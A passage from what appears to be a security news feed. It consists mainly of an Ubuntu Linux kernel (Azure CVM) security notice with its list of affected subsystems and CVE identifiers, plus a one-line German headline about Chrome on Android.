CVE-2026-43054, CVE-2026-43058, CVE-2026-43060, CVE-2026-43061,
CVE-2026-43062, CVE-2026-43065, CVE-2026-43066, CVE-2026-43068,
CVE-2026-43069, CVE-2026-43074, CVE-2026-43075, CVE-2026-43076,
CVE-2026-43079, CVE-2026-43080, CVE-2026-43085, CVE-2026-43089,
CVE-2026-43093, CVE-2026-43098, CVE-2026-43099, CVE-2026-43103,
CVE-2026-43104, CVE-2026-43105, CVE-2026-43110, CVE-2026-43111,
CVE-2026-43112, CVE-2026-43113, CVE-2026-43123, CVE-2026-43124,
CVE-2026-43130, CVE-2026-43132, CVE-2026-43133, CVE-2026-43134,
CVE-2026-43135, CVE-2026-43136, CVE-2026-43139, CVE-2026-43140,
CVE-2026-43141, CVE-2026-43145, CVE-2026-43147, CVE-2026-43148,
CVE-2026-43149, CVE-2026-43152, CVE-2026-43156, CVE-2026-43158,
CVE-2026-43159, CVE-2026-43163, CVE-2026-43168, CVE-2026-43171,
CVE-2026-43180, CVE-2026-43182, CVE-2026-43183, CVE-2026-43184,
CVE-2026-43187, CVE-2026-43190, CVE-2026-43194, CVE-2026-43196,
CVE-2026-43200, CVE-2026-43202, CVE-2026-43203, CVE-2026-43205,
CVE-2026-43206, CVE-2026-43207, CVE-2026-43209, CVE-2026-43211,
CVE-2026-43218, CVE-2026-43223, CVE-2026-43225, CVE-2026-43226,
CVE-2026-43227, CVE-2026-43230, CVE-2026-43231, CVE-2026-43232,
CVE-2026-43233, CVE-2026-43236, CVE-2026-43241, CVE-2026-43242,
CVE-2026-43246, CVE-2026-43251, CVE-2026-43255, CVE-2026-43257,
CVE-2026-43261, CVE-2026-43262, CVE-2026-43264, CVE-2026-43266,
CVE-2026-43268, CVE-2026-43269, CVE-2026-43270, CVE-2026-43273,
CVE-2026-43275, CVE-2026-43277, CVE-2026-43279, CVE-2026-43281,
CVE-2026-43283, CVE-2026-43287, CVE-2026-43289, CVE-2026-43291,
CVE-2026-43295, CVE-2026-43296, CVE-2026-43302, CVE-2026-43312,
CVE-2026-43313, CVE-2026-43314, CVE-2026-43315, CVE-2026-43316,
CVE-2026-43324, CVE-2026-43327, CVE-2026-43328, CVE-2026-43329,
CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43339,
CVE-2026-43340, CVE-2026-43342, CVE-2026-43343, CVE-2026-43357,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43370, CVE-2026-43373,
CVE-2026-43380, CVE-2026-43381, CVE-2026-43382, CVE-2026-43386,
CVE-2026-43387, CVE-2026-43405, CVE-2026-43411, CVE-2026-43420,
CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428,
CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43439,
CVE-2026-43445, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451,
CVE-2026-43452, CVE-2026-43453, CVE-2026-43458, CVE-2026-43459,
CVE-2026-43466, CVE-2026-43469, CVE-2026-43472, CVE-2026-43473,
CVE-2026-43475, CVE-2026-43476, CVE-2026-43480, CVE-2026-43484,
CVE-2026-43496, CVE-2026-43497, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45846, CVE-2026-45847, CVE-2026-45848,
CVE-2026-45852, CVE-2026-45856, CVE-2026-45857, CVE-2026-45860,
CVE-2026-45862, CVE-2026-45864, CVE-2026-45866, CVE-2026-45867,
CVE-2026-45868, CVE-2026-45869, CVE-2026-45870, CVE-2026-45871,
CVE-2026-45873, CVE-2026-45875, CVE-2026-45879, CVE-2026-45883,
CVE-2026-45885, CVE-2026-45890, CVE-2026-45891, CVE-2026-45899,
CVE-2026-45902, CVE-2026-45904, CVE-2026-45911, CVE-2026-45912,
CVE-2026-45915, CVE-2026-45916, CVE-2026-45919, CVE-2026-45920,
CVE-2026-45924, CVE-2026-45935, CVE-2026-45936, CVE-2026-45941,
CVE-2026-45946, CVE-2026-45948, CVE-2026-45954, CVE-2026-45956,
CVE-2026-45958, CVE-2026-45960, CVE-2026-45964, CVE-2026-45965,
CVE-2026-45968, CVE-2026-45969, CVE-2026-45970, CVE-2026-45974,
CVE-2026-45978, CVE-2026-45983, CVE-2026-45984, CVE-2026-45985,
CVE-2026-45986, CVE-2026-45987, CVE-2026-45994, CVE-2026-46002,
CVE-2026-46004, CVE-2026-46006, CVE-2026-46009, CVE-2026-46015,
CVE-2026-46018, CVE-2026-46019, CVE-2026-46022, CVE-2026-46023,
CVE-2026-46024, CVE-2026-46027, CVE-2026-46033, CVE-2026-46037,
CVE-2026-46040, CVE-2026-46044, CVE-2026-46046, CVE-2026-46047,
CVE-2026-46049, CVE-2026-46050, CVE-2026-46051, CVE-2026-46053,
CVE-2026-46062, CVE-2026-46064, CVE-2026-46070, CVE-2026-46072,
CVE-2026-46077, CVE-2026-46080, CVE-2026-46082, CVE-2026-46088,
CVE-2026-46098, CVE-2026-46099, CVE-2026-46101, CVE-2026-46102,
CVE-2026-46107, CVE-2026-46108, CVE-2026-46112, CVE-2026-46120,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46127,
CVE-2026-46128, CVE-2026-46132, CVE-2026-46133, CVE-2026-46137,
CVE-2026-46146, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151,
CVE-2026-46161, CVE-2026-46163, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46172, CVE-2026-46174, CVE-2026-46177, CVE-2026-46178,
CVE-2026-46184, CVE-2026-46186, CVE-2026-46187, CVE-2026-46189,
CVE-2026-46197, CVE-2026-46198, CVE-2026-46205, CVE-2026-46206,
CVE-2026-46209, CVE-2026-46212, CVE-2026-46214, CVE-2026-46219,
CVE-2026-46220, CVE-2026-46227, CVE-2026-46230, CVE-2026-46231,
CVE-2026-46233, CVE-2026-46234, CVE-2026-46236, CVE-2026-46238,
CVE-2026-46249, CVE-2026-46250, CVE-2026-46253, CVE-2026-46259,
CVE-2026-46267, CVE-2026-46270, CVE-2026-46273, CVE-2026-46274,
CVE-2026-46275, CVE-2026-46285, CVE-2026-46294, CVE-2026-46301,
CVE-2026-46303, CVE-2026-46304, CVE-2026-46307, CVE-2026-46319,
CVE-2026-46328, CVE-2026-52911, CVE-2026-52912, CVE-2026-52914,
CVE-2026-52915, CVE-2026-52916, CVE-2026-52919, CVE-2026-52920,
CVE-2026-52921, CVE-2026-52922, CVE-2026-52925, CVE-2026-52926,
CVE-2026-52931, CVE-2026-52954, CVE-2026-52955, CVE-2026-52957,
CVE-2026-52958, CVE-2026-52962, CVE-2026-52963, CVE-2026-52969,
CVE-2026-52970, CVE-2026-52982, CVE-2026-52984, CVE-2026-52985,
CVE-2026-52986, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53016, CVE-2026-53021, CVE-2026-53022,
CVE-2026-53023, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53068, CVE-2026-53069,
CVE-2026-53071, CVE-2026-53072, CVE-2026-53073, CVE-2026-53074,
CVE-2026-53075, CVE-2026-53077, CVE-2026-53082, CVE-2026-53088,
CVE-2026-53093, CVE-2026-53096, CVE-2026-53112, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53287, CVE-2026-53291, CVE-2026-53294,
CVE-2026-53295, CVE-2026-53296, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53320, CVE-2026-53369, CVE-2026-53379,
CVE-2026-63860, CVE-2026-63865, CVE-2026-64018, CVE-2026-64032,
CVE-2026-64033, CVE-2026-64034, CVE-2026-64039, CVE-2026-64046,
CVE-2026-64047, CVE-2026-64055, CVE-2026-64056, CVE-2026-64083,
CVE-2026-64084, CVE-2026-64085, CVE-2026-64086, CVE-2026-64087,
CVE-2026-64088, CVE-2026-64089, CVE-2026-64096, CVE-2026-64102,
CVE-2026-64103, CVE-2026-64113, CVE-2026-64114, CVE-2026-64115,
CVE-2026-64125, CVE-2026-64133, CVE-2026-64135, CVE-2026-64153,
CVE-2026-64155, CVE-2026-64164, CVE-2026-64165, CVE-2026-64166,
CVE-2026-64168, CVE-2026-64173, CVE-2026-64174, CVE-2026-64177,
CVE-2026-64178, CVE-2026-64179, CVE-2026-64185)


USN-8610-1: Linux kernel (Azure CVM) vulnerabilities
Fri, 24 Jul 2026 14:17:33 +0200
Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose sensitive information (kernel memory). (CVE-2023-45896)

It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM32 architecture;
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - ACPI drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - RNBD block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - DMA engine subsystem;
  - Arm Firmware Framework for ARMv8-A(FFA);
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Power supply drivers;
  - RapidIO drivers;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - SCSI subsystem;
  - Freescale SoC drivers;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - Framebuffer layer;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - JFS file system;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Memory Management;
  - KVM subsystem;
  - Memory management;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Network traffic control;
  - Bluetooth subsystem;
  - MAC80211 subsystem;
  - Netfilter;
  - IP tunnels definitions;
  - Tracing infrastructure;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - Kernel module support;
  - Scheduler infrastructure;
  - Cryptographic library;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Networking core;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Phonet protocol;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - FireWire sound drivers;
  - HD-audio driver;
  - AudioScience HPI driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - SoC audio core drivers;
  - STI ASoC drivers;
  - USB sound devices;
(CVE-2022-49803, CVE-2022-49961, CVE-2022-50073, CVE-2022-50116,
CVE-2022-50552, CVE-2023-52682, CVE-2023-52737, CVE-2023-53545,
CVE-2023-53596, CVE-2023-53629, CVE-2024-27389, CVE-2024-35865,
CVE-2024-36898, CVE-2024-36922, CVE-2024-41079, CVE-2024-46715,
CVE-2024-46770, CVE-2024-47809, CVE-2024-50012, CVE-2024-53221,
CVE-2024-56557, CVE-2024-56584, CVE-2024-56657, CVE-2024-56719,
CVE-2024-56727, CVE-2025-21712, CVE-2025-21739, CVE-2025-21863,
CVE-2025-22107, CVE-2025-23141, CVE-2025-37786, CVE-2025-38006,
CVE-2025-38105, CVE-2025-38192, CVE-2025-38250, CVE-2025-38562,
CVE-2025-38626, CVE-2025-38659, CVE-2025-38710, CVE-2025-39748,
CVE-2025-39764, CVE-2025-40005, CVE-2025-40016, CVE-2025-40103,
CVE-2025-40323, CVE-2025-68206, CVE-2025-68239, CVE-2025-68256,
CVE-2025-68307, CVE-2025-68358, CVE-2025-71150, CVE-2025-71161,
CVE-2025-71221, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235,
CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239,
CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71274,
CVE-2025-71287, CVE-2025-71292, CVE-2025-71304, CVE-2026-23031,
CVE-2026-23066, CVE-2026-23100, CVE-2026-23113, CVE-2026-23141,
CVE-2026-23157, CVE-2026-23169, CVE-2026-23204, CVE-2026-23220,
CVE-2026-23221, CVE-2026-23222, CVE-2026-23227, CVE-2026-23228,
CVE-2026-23229, CVE-2026-23234, CVE-2026-23235, CVE-2026-23236,
CVE-2026-23237, CVE-2026-23238, CVE-2026-23241, CVE-2026-23242,
CVE-2026-23243, CVE-2026-23253, CVE-2026-23266, CVE-2026-23270,
CVE-2026-23277, CVE-2026-23279, CVE-2026-23281, CVE-2026-23286,
CVE-2026-23289, CVE-2026-23290, CVE-2026-23291, CVE-2026-23293,
CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23307, CVE-2026-23312, CVE-2026-23318,
CVE-2026-23324, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339,
CVE-2026-23340, CVE-2026-23352, CVE-2026-23356, CVE-2026-23357,
CVE-2026-23359, CVE-2026-23362, CVE-2026-23365, CVE-2026-23367,
CVE-2026-23368, CVE-2026-23370, CVE-2026-23372, CVE-2026-23379,
CVE-2026-23381, CVE-2026-23382, CVE-2026-23388, CVE-2026-23391,
CVE-2026-23392, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23420,
CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23452, CVE-2026-23454,
CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23460,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23474, CVE-2026-31393,
CVE-2026-31396, CVE-2026-31399, CVE-2026-31400, CVE-2026-31405,
CVE-2026-31407, CVE-2026-31408, CVE-2026-31409, CVE-2026-31411,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31427, CVE-2026-31428, CVE-2026-31433, CVE-2026-31446,
CVE-2026-31447, CVE-2026-31450, CVE-2026-31452, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467,
CVE-2026-31469, CVE-2026-31473, CVE-2026-31476, CVE-2026-31480,
CVE-2026-31483, CVE-2026-31485, CVE-2026-31489, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31497, CVE-2026-31498, CVE-2026-31507,
CVE-2026-31508, CVE-2026-31509, CVE-2026-31510, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31518, CVE-2026-31521, CVE-2026-31522,
CVE-2026-31523, CVE-2026-31524, CVE-2026-31532, CVE-2026-31540,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31555, CVE-2026-31565, CVE-2026-31570,
CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31583, CVE-2026-31585, CVE-2026-31586,
CVE-2026-31588, CVE-2026-31590, CVE-2026-31594, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31605, CVE-2026-31615, CVE-2026-31616,
CVE-2026-31617, CVE-2026-31618, CVE-2026-31619, CVE-2026-31622,
CVE-2026-31623, CVE-2026-31624, CVE-2026-31625, CVE-2026-31626,
CVE-2026-31627, CVE-2026-31628, CVE-2026-31629, CVE-2026-31630,
CVE-2026-31634, CVE-2026-31642, CVE-2026-31651, CVE-2026-31656,
CVE-2026-31658, CVE-2026-31660, CVE-2026-31661, CVE-2026-31662,
CVE-2026-31664, CVE-2026-31665, CVE-2026-31667, CVE-2026-31670,
CVE-2026-31671, CVE-2026-31672, CVE-2026-31673, CVE-2026-31674,
CVE-2026-31676, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681,
CVE-2026-31683, CVE-2026-31684, CVE-2026-31686, CVE-2026-31687,
CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697,
CVE-2026-31698, CVE-2026-31699, CVE-2026-31701, CVE-2026-31716,
CVE-2026-31720, CVE-2026-31721, CVE-2026-31726, CVE-2026-31728,
CVE-2026-31737, CVE-2026-31738, CVE-2026-31747, CVE-2026-31748,
CVE-2026-31749, CVE-2026-31751, CVE-2026-31752, CVE-2026-31754,
CVE-2026-31755, CVE-2026-31756, CVE-2026-31758, CVE-2026-31759,
CVE-2026-31761, CVE-2026-31762, CVE-2026-31763, CVE-2026-31770,
CVE-2026-31773, CVE-2026-31778, CVE-2026-31780, CVE-2026-31781,
CVE-2026-31788, CVE-2026-43014, CVE-2026-43015, CVE-2026-43020,
CVE-2026-43024, CVE-2026-43026, CVE-2026-43027, CVE-2026-43028,
CVE-2026-43030, CVE-2026-43032, CVE-2026-43035, CVE-2026-43040,
CVE-2026-43041, CVE-2026-43043, CVE-2026-43046, CVE-2026-43047,
CVE-2026-43050, CVE-2026-43051, CVE-2026-43052, CVE-2026-43054,
CVE-2026-43058, CVE-2026-43060, CVE-2026-43061, CVE-2026-43062,
CVE-2026-43065, CVE-2026-43066, CVE-2026-43068, CVE-2026-43069,
CVE-2026-43074, CVE-2026-43075, CVE-2026-43076, CVE-2026-43079,
CVE-2026-43080, CVE-2026-43085, CVE-2026-43089, CVE-2026-43093,
CVE-2026-43098, CVE-2026-43099, CVE-2026-43103, CVE-2026-43104,
CVE-2026-43105, CVE-2026-43110, CVE-2026-43111, CVE-2026-43112,
CVE-2026-43113, CVE-2026-43123, CVE-2026-43124, CVE-2026-43130,
CVE-2026-43132, CVE-2026-43133, CVE-2026-43134, CVE-2026-43135,
CVE-2026-43136, CVE-2026-43139, CVE-2026-43140, CVE-2026-43141,
CVE-2026-43145, CVE-2026-43147, CVE-2026-43148, CVE-2026-43149,
CVE-2026-43152, CVE-2026-43156, CVE-2026-43158, CVE-2026-43159,
CVE-2026-43163, CVE-2026-43168, CVE-2026-43171, CVE-2026-43180,
CVE-2026-43182, CVE-2026-43183, CVE-2026-43184, CVE-2026-43187,
CVE-2026-43190, CVE-2026-43194, CVE-2026-43196, CVE-2026-43200,
CVE-2026-43202, CVE-2026-43203, CVE-2026-43205, CVE-2026-43206,
CVE-2026-43207, CVE-2026-43209, CVE-2026-43211, CVE-2026-43218,
CVE-2026-43223, CVE-2026-43225, CVE-2026-43226, CVE-2026-43227,
CVE-2026-43230, CVE-2026-43231, CVE-2026-43232, CVE-2026-43233,
CVE-2026-43236, CVE-2026-43241, CVE-2026-43242, CVE-2026-43246,
CVE-2026-43251, CVE-2026-43255, CVE-2026-43257, CVE-2026-43261,
CVE-2026-43262, CVE-2026-43264, CVE-2026-43266, CVE-2026-43268,
CVE-2026-43269, CVE-2026-43270, CVE-2026-43273, CVE-2026-43275,
CVE-2026-43277, CVE-2026-43279, CVE-2026-43281, CVE-2026-43283,
CVE-2026-43287, CVE-2026-43289, CVE-2026-43291, CVE-2026-43295,
CVE-2026-43296, CVE-2026-43302, CVE-2026-43312, CVE-2026-43313,
CVE-2026-43314, CVE-2026-43315, CVE-2026-43316, CVE-2026-43324,
CVE-2026-43327, CVE-2026-43328, CVE-2026-43329, CVE-2026-43333,
CVE-2026-43334, CVE-2026-43336, CVE-2026-43339, CVE-2026-43340,
CVE-2026-43342, CVE-2026-43343, CVE-2026-43357, CVE-2026-43363,
CVE-2026-43365, CVE-2026-43370, CVE-2026-43373, CVE-2026-43380,
CVE-2026-43381, CVE-2026-43382, CVE-2026-43386, CVE-2026-43387,
CVE-2026-43405, CVE-2026-43411, CVE-2026-43420, CVE-2026-43425,
CVE-2026-43426, CVE-2026-43427, CVE-2026-43428, CVE-2026-43429,
CVE-2026-43430, CVE-2026-43432, CVE-2026-43439, CVE-2026-43445,
CVE-2026-43449, CVE-2026-43450, CVE-2026-43451, CVE-2026-43452,
CVE-2026-43453, CVE-2026-43458, CVE-2026-43459, CVE-2026-43466,
CVE-2026-43469, CVE-2026-43472, CVE-2026-43473, CVE-2026-43475,
CVE-2026-43476, CVE-2026-43480, CVE-2026-43484, CVE-2026-43496,
CVE-2026-43497, CVE-2026-43502, CVE-2026-45834, CVE-2026-45835,
CVE-2026-45836, CVE-2026-45838, CVE-2026-45839, CVE-2026-45840,
CVE-2026-45841, CVE-2026-45842, CVE-2026-45843, CVE-2026-45844,
CVE-2026-45846, CVE-2026-45847, CVE-2026-45848, CVE-2026-45852,
CVE-2026-45856, CVE-2026-45857, CVE-2026-45860, CVE-2026-45862,
CVE-2026-45864, CVE-2026-45866, CVE-2026-45867, CVE-2026-45868,
CVE-2026-45869, CVE-2026-45870, CVE-2026-45871, CVE-2026-45873,
CVE-2026-45875, CVE-2026-45879, CVE-2026-45883, CVE-2026-45885,
CVE-2026-45890, CVE-2026-45891, CVE-2026-45899, CVE-2026-45902,
CVE-2026-45904, CVE-2026-45911, CVE-2026-45912, CVE-2026-45915,
CVE-2026-45916, CVE-2026-45919, CVE-2026-45920, CVE-2026-45924,
CVE-2026-45935, CVE-2026-45936, CVE-2026-45941, CVE-2026-45946,
CVE-2026-45948, CVE-2026-45954, CVE-2026-45956, CVE-2026-45958,
CVE-2026-45960, CVE-2026-45964, CVE-2026-45965, CVE-2026-45968,
CVE-2026-45969, CVE-2026-45970, CVE-2026-45974, CVE-2026-45978,
CVE-2026-45983, CVE-2026-45984, CVE-2026-45985, CVE-2026-45986,
CVE-2026-45987, CVE-2026-45994, CVE-2026-46002, CVE-2026-46004,
CVE-2026-46006, CVE-2026-46009, CVE-2026-46015, CVE-2026-46018,
CVE-2026-46019, CVE-2026-46022, CVE-2026-46023, CVE-2026-46024,
CVE-2026-46027, CVE-2026-46033, CVE-2026-46037, CVE-2026-46040,
CVE-2026-46044, CVE-2026-46046, CVE-2026-46047, CVE-2026-46049,
CVE-2026-46050, CVE-2026-46051, CVE-2026-46053, CVE-2026-46062,
CVE-2026-46064, CVE-2026-46070, CVE-2026-46072, CVE-2026-46077,
CVE-2026-46080, CVE-2026-46082, CVE-2026-46088, CVE-2026-46098,
CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46107,
CVE-2026-46108, CVE-2026-46112, CVE-2026-46120, CVE-2026-46122,
CVE-2026-46123, CVE-2026-46124, CVE-2026-46127, CVE-2026-46128,
CVE-2026-46132, CVE-2026-46133, CVE-2026-46137, CVE-2026-46146,
CVE-2026-46149, CVE-2026-46150, CVE-2026-46151, CVE-2026-46161,
CVE-2026-46163, CVE-2026-46167, CVE-2026-46168, CVE-2026-46172,
CVE-2026-46174, CVE-2026-46177, CVE-2026-46178, CVE-2026-46184,
CVE-2026-46186, CVE-2026-46187, CVE-2026-46189, CVE-2026-46197,
CVE-2026-46198, CVE-2026-46205, CVE-2026-46206, CVE-2026-46209,
CVE-2026-46212, CVE-2026-46214, CVE-2026-46219, CVE-2026-46220,
CVE-2026-46227, CVE-2026-46230, CVE-2026-46231, CVE-2026-46233,
CVE-2026-46234, CVE-2026-46236, CVE-2026-46238, CVE-2026-46249,
CVE-2026-46250, CVE-2026-46253, CVE-2026-46259, CVE-2026-46267,
CVE-2026-46270, CVE-2026-46273, CVE-2026-46274, CVE-2026-46275,
CVE-2026-46285, CVE-2026-46294, CVE-2026-46301, CVE-2026-46303,
CVE-2026-46304, CVE-2026-46307, CVE-2026-46319, CVE-2026-46328,
CVE-2026-52911, CVE-2026-52912, CVE-2026-52914, CVE-2026-52915,
CVE-2026-52916, CVE-2026-52919, CVE-2026-52920, CVE-2026-52921,
CVE-2026-52922, CVE-2026-52925, CVE-2026-52926, CVE-2026-52931,
CVE-2026-52954, CVE-2026-52955, CVE-2026-52957, CVE-2026-52958,
CVE-2026-52962, CVE-2026-52963, CVE-2026-52969, CVE-2026-52970,
CVE-2026-52982, CVE-2026-52984, CVE-2026-52985, CVE-2026-52986,
CVE-2026-52992, CVE-2026-52993, CVE-2026-52995, CVE-2026-52998,
CVE-2026-52999, CVE-2026-53001, CVE-2026-53002, CVE-2026-53003,
CVE-2026-53004, CVE-2026-53006, CVE-2026-53011, CVE-2026-53012,
CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023,
CVE-2026-53037, CVE-2026-53039, CVE-2026-53040, CVE-2026-53041,
CVE-2026-53043, CVE-2026-53045, CVE-2026-53046, CVE-2026-53047,
CVE-2026-53048, CVE-2026-53049, CVE-2026-53050, CVE-2026-53059,
CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53064,
CVE-2026-53065, CVE-2026-53068, CVE-2026-53069, CVE-2026-53071,
CVE-2026-53072, CVE-2026-53073, CVE-2026-53074, CVE-2026-53075,
CVE-2026-53077, CVE-2026-53082, CVE-2026-53088, CVE-2026-53093,
CVE-2026-53096, CVE-2026-53112, CVE-2026-53128, CVE-2026-53130,
CVE-2026-53287, CVE-2026-53291, CVE-2026-53294, CVE-2026-53295,
CVE-2026-53296, CVE-2026-53304, CVE-2026-53306, CVE-2026-53309,
CVE-2026-53320, CVE-2026-53369, CVE-2026-53379, CVE-2026-63860,
CVE-2026-63865, CVE-2026-64018, CVE-2026-64032, CVE-2026-64033,
CVE-2026-64034, CVE-2026-64039, CVE-2026-64046, CVE-2026-64047,
CVE-2026-64055, CVE-2026-64056, CVE-2026-64083, CVE-2026-64084,
CVE-2026-64085, CVE-2026-64086, CVE-2026-64087, CVE-2026-64088,
CVE-2026-64089, CVE-2026-64096, CVE-2026-64102, CVE-2026-64103,
CVE-2026-64113, CVE-2026-64114, CVE-2026-64115, CVE-2026-64125,
CVE-2026-64133, CVE-2026-64135, CVE-2026-64153, CVE-2026-64155,
CVE-2026-64164, CVE-2026-64165, CVE-2026-64166, CVE-2026-64168,
CVE-2026-64173, CVE-2026-64174, CVE-2026-64177, CVE-2026-64178,
CVE-2026-64179, CVE-2026-64185)


Chrome auf Android: Browser hängt weniger und „Benachrichtigungen erhalten“ nervt weniger
Fri, 24 Jul 2026 14:14:04 +0200
